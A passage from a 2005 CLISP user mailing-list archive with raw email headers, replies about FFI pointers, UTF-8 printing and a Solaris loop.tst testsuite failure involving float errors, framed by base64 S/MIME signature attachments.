UyUyMDMlMjBSb290JTIwQ0ElMmNvdSUzZFBLSSUyY291JTNkRG9EJTJjbyUzZFUuUy4lMjBHb3Zl cm5tZW50JTJjYyUzZFVTP2NlcnRpZmljYXRlcmV2b2NhdGlvbmxpc3Q7YmluYXJ5MA0GCSqGSIb3 DQEBBQUAA4GBAKvH+EfhJOzPmz/G+TT4MKOSzweG97CS+L4tyX/ntF47FIz7pGfFA8mVWHtWygye 81jG5ZklO0/gXD3VRiDscUTi4YOfh5yaBvFo04D9Sq2bIAxzPLqG4b+8cyDvldoZZS4ala6jfDeR e2go9+fomoLrTh4euT/evpPljk4YyXljMIIEMzCCA5ygAwIBAgIDD428MA0GCSqGSIb3DQEBBQUA MGQxCzAJBgNVBAYTAlVTMRgwFgYDVQQKEw9VLlMuIEdvdmVybm1lbnQxDDAKBgNVBAsTA0RvRDEM MAoGA1UECxMDUEtJMR8wHQYDVQQDExZET0QgQ0xBU1MgMyBFTUFJTCBDQS01MB4XDTA0MDMxMTAw MDAwMFoXDTA2MDcwOTAwMDAwMFowdjELMAkGA1UEBhMCVVMxGDAWBgNVBAoTD1UuUy4gR292ZXJu bWVudDEMMAoGA1UECxMDRG9EMQwwCgYDVQQLEwNQS0kxDDAKBgNVBAsTA1VTTjEjMCEGA1UEAxMa V0lMTElBTVMuTUFSSy5MLjEyMjk1NDc2MTEwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAMU9 iLkE945bJPxLJpcssF38+wm2V8Tm4Mf5msOfgIQOiIOa2T3ml21hxmlIYS7ryAflWr1tlOpNRsxk F0sQUqogRRDw+9YcRblqsrB3Z3Jzpm5Gv0CXleQ1eWTFiOjIr656YOCgUl++h5DA4eQe4ExT3IFN BZ6troRa01eUXRFbAgMBAAGjggHfMIIB2zAOBgNVHQ8BAf8EBAMCBSAwIwYDVR0RBBwwGoEYbWFy ay5sLndpbGxpYW1zQG5hdnkubWlsMB8GA1UdIwQYMBaAFPwQ+rlqYS5Ps9d0xigeaeAvzlToMB0G A1UdDgQWBBRhihevCcGeTLyZupLTSKldt+nDODAWBgNVHSAEDzANMAsGCWCGSAFlAgELCTCBjwYD VR0SBIGHMIGEhoGBbGRhcDovL2VtYWlsLWRzLTMuYzNwa2kuY2hhbWIuZGlzYS5taWwvY24lM2RE T0QlMjBDTEFTUyUyMDMlMjBFTUFJTCUyMENBLTUlMmNvdSUzZFBLSSUyY291JTNkRG9EJTJjbyUz ZFUuUy4lMjBHb3Zlcm5tZW50JTJjYyUzZFVTMIG5BgNVHR8EgbEwga4wgauggaiggaWGgaJsZGFw Oi8vZW1haWwtZHMtMy5jM3BraS5jaGFtYi5kaXNhLm1pbC9jbiUzZERPRCUyMENMQVNTJTIwMyUy MEVNQUlMJTIwQ0EtNSUyY291JTNkUEtJJTJjb3UlM2REb0QlMmNvJTNkVS5TLiUyMEdvdmVybm1l bnQlMmNjJTNkVVM/Y2VydGlmaWNhdGVyZXZvY2F0aW9ubGlzdDtiaW5hcnkwDQYJKoZIhvcNAQEF BQADgYEAppRToK4SgDw3lD2pVh95GV2zD29YO8Q3UHjr0f0gOPsf+IbEDNqtgcnj4RlLfwgtBgqQ ruA6bc3RzyjcybPqsK8/lyVOFo/TWQqzYpShLMYGHcuh3aGI/TApNxM50lwtp8ELcSaQqG06ZSlM T9zWUgvE0O7nsB1lp+rJZX5FHDMwggR+MIID56ADAgECAgMPjbYwDQYJKoZIhvcNAQEFBQAwZDEL MAkGA1UEBhMCVVMxGDAWBgNVBAoTD1UuUy4gR292ZXJubWVudDEMMAoGA1UECxMDRG9EMQwwCgYD VQQLEwNQS0kxHzAdBgNVBAMTFkRPRCBDTEFTUyAzIEVNQUlMIENBLTUwHhcNMDQwMzExMDAwMDAw WhcNMDYwNzA5MDAwMDAwWjB2MQswCQYDVQQGEwJVUzEYMBYGA1UEChMPVS5TLiBHb3Zlcm5tZW50 MQwwCgYDVQQLEwNEb0QxDDAKBgNVBAsTA1BLSTEMMAoGA1UECxMDVVNOMSMwIQYDVQQDExpXSUxM SUFNUy5NQVJLLkwuMTIyOTU0NzYxMTCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEAvIjhncAE XT6XOZx8iFGNqq/pb9HZaDxKvtm4oMayT77+eCFjtdjZ6s/I8kT5yVZUOR9emhWufZNgsKqWkl42 PgjfjV1xsLymQ91/8QNiEuPeANlRLvhq+0ZrdhuMOxQOQekx0rejBDXxLXubdFm/YIJhs3jB10rx PRakWJ5MJ3ECAwEAAaOCAiowggImMA4GA1UdDwEB/wQEAwIGwDAfBgNVHSMEGDAWgBT8EPq5amEu T7PXdMYoHmngL85U6DAdBgNVHQ4EFgQUhAGBjUCpje7O6soGuw1NAKbdT3cwFgYDVR0gBA8wDTAL BglghkgBZQIBCwkwgY8GA1UdEgSBhzCBhIaBgWxkYXA6Ly9lbWFpbC1kcy0zLmMzcGtpLmNoYW1i LmRpc2EubWlsL2NuJTNkRE9EJTIwQ0xBU1MlMjAzJTIwRU1BSUwlMjBDQS01JTJjb3UlM2RQS0kl MmNvdSUzZERvRCUyY28lM2RVLlMuJTIwR292ZXJubWVudCUyY2MlM2RVUzCBuQYDVR0fBIGxMIGu MIGroIGooIGlhoGibGRhcDovL2VtYWlsLWRzLTMuYzNwa2kuY2hhbWIuZGlzYS5taWwvY24lM2RE T0QlMjBDTEFTUyUyMDMlMjBFTUFJTCUyMENBLTUlMmNvdSUzZFBLSSUyY291JTNkRG9EJTJjbyUz ZFUuUy4lMjBHb3Zlcm5tZW50JTJjYyUzZFVTP2NlcnRpZmljYXRlcmV2b2NhdGlvbmxpc3Q7Ymlu YXJ5MCkGA1UdJQQiMCAGCisGAQQBgjcUAgIGCCsGAQUFBwMEBggrBgEFBQcDAjBDBgNVHREEPDA6 gRhtYXJrLmwud2lsbGlhbXNAbmF2eS5taWygHgYKKwYBBAGCNxQCA6AQDA4xMjI5NTQ3NjExQG1p bDANBgkqhkiG9w0BAQUFAAOBgQAdMIPM5mSMZfMrYsh0MT/l+cCa2/jlqVVCpIkLvoh/jE4xGqsp fPhn0DSg5Xup2PpPp8vh7hp1Rb2jkN5jNwwoqedvh2abtbEgN6rU/uPidMooO/8dEeruvkfD7ezp dWHtlNX8QHpM26oz++DSu7mOqhMddZpyemlbfpkV8+1+RzGCArcwggKzAgEBMGswZDELMAkGA1UE BhMCVVMxGDAWBgNVBAoTD1UuUy4gR292ZXJubWVudDEMMAoGA1UECxMDRG9EMQwwCgYDVQQLEwNQ S0kxHzAdBgNVBAMTFkRPRCBDTEFTUyAzIEVNQUlMIENBLTUCAw+NtjAJBgUrDgMCGgUAoIIBojAY BgkqhkiG9w0BCQMxCwYJKoZIhvcNAQcBMBwGCSqGSIb3DQEJBTEPFw0wNTA0MDYxMTU5MzBaMCMG CSqGSIb3DQEJBDEWBBTrnGZyVSYLQ5pnaEa4aama+Sb4VjBJBgkqhkiG9w0BCQ8xPDA6MAoGCCqG SIb3DQMHMA4GCCqGSIb3DQMCAgIAgDAHBgUrDgMCBzAHBgUrDgMCGjAKBggqhkiG9w0CBTB6Bgkr BgEEAYI3EAQxbTBrMGQxCzAJBgNVBAYTAlVTMRgwFgYDVQQKEw9VLlMuIEdvdmVybm1lbnQxDDAK BgNVBAsTA0RvRDEMMAoGA1UECxMDUEtJMR8wHQYDVQQDExZET0QgQ0xBU1MgMyBFTUFJTCBDQS01 AgMPjbwwfAYLKoZIhvcNAQkQAgsxbaBrMGQxCzAJBgNVBAYTAlVTMRgwFgYDVQQKEw9VLlMuIEdv dmVybm1lbnQxDDAKBgNVBAsTA0RvRDEMMAoGA1UECxMDUEtJMR8wHQYDVQQDExZET0QgQ0xBU1Mg MyBFTUFJTCBDQS01AgMPjbwwDQYJKoZIhvcNAQEBBQAEgYBKfk4veggaAj7OiSkJ4ACZCfKRKiMQ wrkIwAt/ZN4p6ViyYTC9HXfVVumGnl9VwB9ItVKKLbCikL4V83eveN3SR+/Tvp2YgDUpOZP1qqki sWlCgfssvQQ9xOZ4R/ZqTrZNFWsq+9ShtyDN0Wc1uH5h0thpKV1hRGfLcGYF0+KhOQAAAAAAAA== ------=_NextPart_000_0019_01C53A76.2E1531A0-- From sds@gnu.org Wed Apr 06 07:18:20 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DJBMK-0000ZA-2s for clisp-list@lists.sourceforge.net; Wed, 06 Apr 2005 07:18:20 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DJBME-0001Se-BU for clisp-list@lists.sourceforge.net; Wed, 06 Apr 2005 07:18:19 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.214]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j36EG49i027698; Wed, 6 Apr 2005 10:16:09 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <42538098.7030906@jenty.by> (Yaroslav Kavenchuk's message of "Wed, 06 Apr 2005 09:24:24 +0300") References: <42538098.7030906@jenty.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: newbie ffi question Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Apr 6 07:18:35 2005 X-Original-Date: Wed, 06 Apr 2005 10:17:31 -0400 > * Yaroslav Kavenchuk [2005-04-06 09:24:24 +0300]: > how about (ffi:with-c-var (pointer 'ffi:c-pointer intr) (setf (ffi:slot (ffi:foreign-value (ffi:cast pointer '(ffi:c-ptr tcl-ffi:Tcl-Interp))) ...) ...)) -- Sam Steingold (http://www.podval.org/~sds) running w2k Of course, I haven't tried it. But it will work. - Isaak Asimov From sds@gnu.org Wed Apr 06 07:19:31 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DJBNR-0000mQ-E2 for clisp-list@lists.sourceforge.net; Wed, 06 Apr 2005 07:19:29 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DJBNO-0001dP-LV for clisp-list@lists.sourceforge.net; Wed, 06 Apr 2005 07:19:29 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.214]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j36EHMMj027884; Wed, 6 Apr 2005 10:17:22 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <4253B08B.4010006@jenty.by> (Yaroslav Kavenchuk's message of "Wed, 06 Apr 2005 12:48:59 +0300") References: <4253B08B.4010006@jenty.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: error with symbols in UTF-8 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Apr 6 07:19:59 2005 X-Original-Date: Wed, 06 Apr 2005 10:18:49 -0400 > * Yaroslav Kavenchuk [2005-04-06 12:48:59 +0300]: > > This is norm? I don't know whether this is normal. the only way to find out is to set *terminal-encoding* to something that can display _everything_, like utf-8, and try to print again. -- Sam Steingold (http://www.podval.org/~sds) running w2k This message is rot13 encrypted (twice!); reading it violates DMCA. From sds@gnu.org Wed Apr 06 07:24:18 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DJBS3-0000wY-Ft for clisp-list@lists.sourceforge.net; Wed, 06 Apr 2005 07:24:15 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DJBS1-0002CV-Qo for clisp-list@lists.sourceforge.net; Wed, 06 Apr 2005 07:24:15 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.214]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j36EMBrN028565; Wed, 6 Apr 2005 10:22:11 -0400 (EDT) To: clisp-list@lists.sourceforge.net, "Williams, Mark L CIV NSWC-PC" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <2790804CBFD3C749BE6D40CE54CDA5A1011FF9A3@naeanrfkez06.nadsusea.nads.navy.mil> (Mark L. Williams's message of "Wed, 6 Apr 2005 07:59:32 -0400") References: <2790804CBFD3C749BE6D40CE54CDA5A1011FF9A3@naeanrfkez06.nadsusea.nads.navy.mil> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Williams, Mark L CIV NSWC-PC" Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: TESTSUITE FAILURE IN LOOP.TST, SOLARIS 9 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Apr 6 07:24:59 2005 X-Original-Date: Wed, 06 Apr 2005 10:23:38 -0400 > * Williams, Mark L CIV NSWC-PC [2005-04-06 07:59:32 -0400]: > > On Solaris 9 SPARC system... I've gone through the documented build > process without obvious problems, run "make test" successfully. "make > testsuite" fails at the loop.tst when attempting to (setq everest...) > with the following: > > (LET (EVEREST CHOCORUA SAHARA) (DEFSTRUCT MOUNTAIN HEIGHT DIFFICULTY > (WHY "because it is there")) (SETQ EVEREST (MAKE-MOUNTAIN :HEIGHT '( > *** - ASH: too large shift amount 59482078 > > and exit messages. I'm new with Common Lisp so my analytic skills are > rudimentary at best. Help resolving this problem would be greatly > appreciated. I'm running gcc 3.4.1 at present. start CLISP and evaluate the test form that fails (see tests/loop.erg): (let (everest chocorua sahara) (defstruct mountain height difficulty (why "because it is there")) (setq everest (make-mountain :height '(2.86e-13 parsecs))) (setq chocorua (make-mountain :height '(1059180001 microns))) (defstruct desert area (humidity 0)) (setq sahara (make-desert :area '(212480000 square furlongs))) (loop for x in (list everest sahara chocorua) thereis (and (mountain-p x) (mountain-height x)))) if you get the error, try evaluating subforms and figure out what is the smallest form that produces the error. please read Thanks. -- Sam Steingold (http://www.podval.org/~sds) running w2k cogito cogito ergo cogito sum From mark.l.williams@navy.mil Wed Apr 06 09:51:32 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DJDkZ-0000yM-R0 for clisp-list@lists.sourceforge.net; Wed, 06 Apr 2005 09:51:31 -0700 Received: from gate10-norfolk.nmci.navy.mil ([138.162.5.7]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DJDkY-0005PX-3J for clisp-list@lists.sourceforge.net; Wed, 06 Apr 2005 09:51:31 -0700 Received: from naeanrfkms04.nmci.navy.mil by gate10-norfolk.nmci.navy.mil via smtpd (for lists.sourceforge.net [66.35.250.206]) with ESMTP; Wed, 6 Apr 2005 16:51:27 +0000 Received: (private information removed) Received: from no.name.available by naeanrfkfw09c.nmci.navy.mil via smtpd (for insidesmtp2.nmci.navy.mil [10.16.0.170]) with ESMTP; Wed, 6 Apr 2005 16:51:21 +0000 Received: (private information removed) Received: (private information removed) Received: (private information removed) Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: multipart/signed; protocol="application/x-pkcs7-signature"; boundary="----=_NextPart_000_0179_01C53A9E.B6B1DA40"; micalg=SHA1 Message-ID: <2790804CBFD3C749BE6D40CE54CDA5A1011FFA48@naeanrfkez06.nadsusea.nads.navy.mil> X-MimeOLE: Produced By Microsoft Exchange V6.0.6603.0 X-MS-Has-Attach: yes X-MS-TNEF-Correlator: Thread-Topic: TESTSUITE FAILURE IN LOOP.TST, SOLARIS 9 Thread-Index: AcU6tFcnb11pC2V+Sz2nebHZMpkd1AAEs+Xw From: "Williams, Mark L CIV NSWC-PC" To: X-OriginalArrivalTime: 06 Apr 2005 16:49:43.0300 (UTC) FILETIME=[A1D6B440:01C53AC8] X-Spam-Score: 0.4 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.4 SUBJ_ALL_CAPS Subject is all capitals 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] RE: TESTSUITE FAILURE IN LOOP.TST, SOLARIS 9 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Apr 6 09:51:56 2005 X-Original-Date: Wed, 6 Apr 2005 12:49:41 -0400 This is a multi-part message in MIME format. ------=_NextPart_000_0179_01C53A9E.B6B1DA40 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit I'd have to say there's a math problem. From alltest.erg (no loop.erg available)... Form: (PRIN1-TO-STRING (SIN (* 8 (/ PI 2)))) CORRECT: "2.0066230454737344098l-19" CLISP: "3.231752895461926238989L-16" ... plus additional similar reports against things like MOST-NEGATIVE-SHORT-FLOAT and other types. Also, eval of several MOST- numeric types yields NIL rather than T. Finally, breaking the form out of the original geographical loop... (setq everest (make-mountain :height '(2.86e-13 parsecs))) fails; others don't. If I change "13" to "12" in both places, testsuite passes this point but dies again in the number tests. It looks like CLISP is not (heaven forbid) computing. Thanks in advance for even more help... Mark -----Original Message----- From: Sam Steingold [mailto:sds@gnu.org] Sent: Wednesday, April 06, 2005 9:24 To: clisp-list@lists.sourceforge.net; Williams, Mark L CIV NSWC-PC Subject: Re: TESTSUITE FAILURE IN LOOP.TST, SOLARIS 9 > * Williams, Mark L CIV NSWC-PC [2005-04-06 07:59:32 -0400]: > > On Solaris 9 SPARC system... I've gone through the documented build > process without obvious problems, run "make test" successfully. "make > testsuite" fails at the loop.tst when attempting to (setq everest...) > with the following: > > (LET (EVEREST CHOCORUA SAHARA) (DEFSTRUCT MOUNTAIN HEIGHT DIFFICULTY > (WHY "because it is there")) (SETQ EVEREST (MAKE-MOUNTAIN :HEIGHT '( > *** - ASH: too large shift amount 59482078 > > and exit messages. I'm new with Common Lisp so my analytic skills are > rudimentary at best. Help resolving this problem would be greatly > appreciated. I'm running gcc 3.4.1 at present. start CLISP and evaluate the test form that fails (see tests/loop.erg): (let (everest chocorua sahara) (defstruct mountain height difficulty (why "because it is there")) (setq everest (make-mountain :height '(2.86e-13 parsecs))) (setq chocorua (make-mountain :height '(1059180001 microns))) (defstruct desert area (humidity 0)) (setq sahara (make-desert :area '(212480000 square furlongs))) (loop for x in (list everest sahara chocorua) thereis (and (mountain-p x) (mountain-height x)))) if you get the error, try evaluating subforms and figure out what is the smallest form that produces the error. please read Thanks. -- Sam Steingold (http://www.podval.org/~sds) running w2k cogito cogito ergo cogito sum ------=_NextPart_000_0179_01C53A9E.B6B1DA40 Content-Type: application/x-pkcs7-signature; name="smime.p7s" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="smime.p7s" MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIIM2DCCBBsw ggOEoAMCAQICASAwDQYJKoZIhvcNAQEFBQAwYTELMAkGA1UEBhMCVVMxGDAWBgNVBAoTD1UuUy4g R292ZXJubWVudDEMMAoGA1UECxMDRG9EMQwwCgYDVQQLEwNQS0kxHDAaBgNVBAMTE0RvRCBDTEFT UyAzIFJvb3QgQ0EwHhcNMDMwMzIwMTUwMjUzWhcNMDkwMzE4MTUwMjUzWjBkMQswCQYDVQQGEwJV UzEYMBYGA1UEChMPVS5TLiBHb3Zlcm5tZW50MQwwCgYDVQQLEwNEb0QxDDAKBgNVBAsTA1BLSTEf MB0GA1UEAxMWRE9EIENMQVNTIDMgRU1BSUwgQ0EtNTCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkC gYEArs9GG8FYEVBIzCTd6BD/+FyPTb+aH+cfdYTshM1SJNhuxjIKFr8Sekv422eYigX/ly71oSs9 b17jFhxCYWNgQBZg9ptTjdJy6MmCuBR5D9I8zlklGgfBJQaSvss7HBVgTmlubfaCtgh3Whi8Ysez gSnhdVLbBxpAO/J0qR5l2sMCAwEAAaOCAd4wggHaMB0GA1UdDgQWBBT8EPq5amEuT7PXdMYoHmng L85U6DAOBgNVHQ8BAf8EBAMCAYYwDwYDVR0TAQH/BAUwAwEB/zAMBgNVHSQEBTADgAEAMB8GA1Ud IwQYMBaAFGycpfBcj21BjcQXO5BXwg+jzW3+MDAGA1UdIAQpMCcwCwYJYIZIAWUCAQsFMAsGCWCG SAFlAgELCTALBglghkgBZQIBCwowgYMGA1UdEgR8MHqGeGxkYXA6Ly9kcy0zLmMzcGtpLmNoYW1i LmRpc2EubWlsL2NuJTNkRG9EJTIwQ0xBU1MlMjAzJTIwUm9vdCUyMENBJTJjb3UlM2RQS0klMmNv dSUzZERvRCUyY28lM2RVLlMuJTIwR292ZXJubWVudCUyY2MlM2RVUzCBsAYDVR0fBIGoMIGlMIGi oIGfoIGchoGZbGRhcDovL2RzLTMuYzNwa2kuY2hhbWIuZGlzYS5taWwvY24lM2REb0QlMjBDTEFT UyUyMDMlMjBSb290JTIwQ0ElMmNvdSUzZFBLSSUyY291JTNkRG9EJTJjbyUzZFUuUy4lMjBHb3Zl cm5tZW50JTJjYyUzZFVTP2NlcnRpZmljYXRlcmV2b2NhdGlvbmxpc3Q7YmluYXJ5MA0GCSqGSIb3 DQEBBQUAA4GBAKvH+EfhJOzPmz/G+TT4MKOSzweG97CS+L4tyX/ntF47FIz7pGfFA8mVWHtWygye 81jG5ZklO0/gXD3VRiDscUTi4YOfh5yaBvFo04D9Sq2bIAxzPLqG4b+8cyDvldoZZS4ala6jfDeR e2go9+fomoLrTh4euT/evpPljk4YyXljMIIEMzCCA5ygAwIBAgIDD428MA0GCSqGSIb3DQEBBQUA MGQxCzAJBgNVBAYTAlVTMRgwFgYDVQQKEw9VLlMuIEdvdmVybm1lbnQxDDAKBgNVBAsTA0RvRDEM MAoGA1UECxMDUEtJMR8wHQYDVQQDExZET0QgQ0xBU1MgMyBFTUFJTCBDQS01MB4XDTA0MDMxMTAw MDAwMFoXDTA2MDcwOTAwMDAwMFowdjELMAkGA1UEBhMCVVMxGDAWBgNVBAoTD1UuUy4gR292ZXJu bWVudDEMMAoGA1UECxMDRG9EMQwwCgYDVQQLEwNQS0kxDDAKBgNVBAsTA1VTTjEjMCEGA1UEAxMa V0lMTElBTVMuTUFSSy5MLjEyMjk1NDc2MTEwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAMU9 iLkE945bJPxLJpcssF38+wm2V8Tm4Mf5msOfgIQOiIOa2T3ml21hxmlIYS7ryAflWr1tlOpNRsxk F0sQUqogRRDw+9YcRblqsrB3Z3Jzpm5Gv0CXleQ1eWTFiOjIr656YOCgUl++h5DA4eQe4ExT3IFN BZ6troRa01eUXRFbAgMBAAGjggHfMIIB2zAOBgNVHQ8BAf8EBAMCBSAwIwYDVR0RBBwwGoEYbWFy ay5sLndpbGxpYW1zQG5hdnkubWlsMB8GA1UdIwQYMBaAFPwQ+rlqYS5Ps9d0xigeaeAvzlToMB0G A1UdDgQWBBRhihevCcGeTLyZupLTSKldt+nDODAWBgNVHSAEDzANMAsGCWCGSAFlAgELCTCBjwYD VR0SBIGHMIGEhoGBbGRhcDovL2VtYWlsLWRzLTMuYzNwa2kuY2hhbWIuZGlzYS5taWwvY24lM2RE T0QlMjBDTEFTUyUyMDMlMjBFTUFJTCUyMENBLTUlMmNvdSUzZFBLSSUyY291JTNkRG9EJTJjbyUz ZFUuUy4lMjBHb3Zlcm5tZW50JTJjYyUzZFVTMIG5BgNVHR8EgbEwga4wgauggaiggaWGgaJsZGFw Oi8vZW1haWwtZHMtMy5jM3BraS5jaGFtYi5kaXNhLm1pbC9jbiUzZERPRCUyMENMQVNTJTIwMyUy MEVNQUlMJTIwQ0EtNSUyY291JTNkUEtJJTJjb3UlM2REb0QlMmNvJTNkVS5TLiUyMEdvdmVybm1l bnQlMmNjJTNkVVM/Y2VydGlmaWNhdGVyZXZvY2F0aW9ubGlzdDtiaW5hcnkwDQYJKoZIhvcNAQEF BQADgYEAppRToK4SgDw3lD2pVh95GV2zD29YO8Q3UHjr0f0gOPsf+IbEDNqtgcnj4RlLfwgtBgqQ ruA6bc3RzyjcybPqsK8/lyVOFo/TWQqzYpShLMYGHcuh3aGI/TApNxM50lwtp8ELcSaQqG06ZSlM T9zWUgvE0O7nsB1lp+rJZX5FHDMwggR+MIID56ADAgECAgMPjbYwDQYJKoZIhvcNAQEFBQAwZDEL MAkGA1UEBhMCVVMxGDAWBgNVBAoTD1UuUy4gR292ZXJubWVudDEMMAoGA1UECxMDRG9EMQwwCgYD VQQLEwNQS0kxHzAdBgNVBAMTFkRPRCBDTEFTUyAzIEVNQUlMIENBLTUwHhcNMDQwMzExMDAwMDAw WhcNMDYwNzA5MDAwMDAwWjB2MQswCQYDVQQGEwJVUzEYMBYGA1UEChMPVS5TLiBHb3Zlcm5tZW50 MQwwCgYDVQQLEwNEb0QxDDAKBgNVBAsTA1BLSTEMMAoGA1UECxMDVVNOMSMwIQYDVQQDExpXSUxM SUFNUy5NQVJLLkwuMTIyOTU0NzYxMTCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEAvIjhncAE XT6XOZx8iFGNqq/pb9HZaDxKvtm4oMayT77+eCFjtdjZ6s/I8kT5yVZUOR9emhWufZNgsKqWkl42 PgjfjV1xsLymQ91/8QNiEuPeANlRLvhq+0ZrdhuMOxQOQekx0rejBDXxLXubdFm/YIJhs3jB10rx PRakWJ5MJ3ECAwEAAaOCAiowggImMA4GA1UdDwEB/wQEAwIGwDAfBgNVHSMEGDAWgBT8EPq5amEu 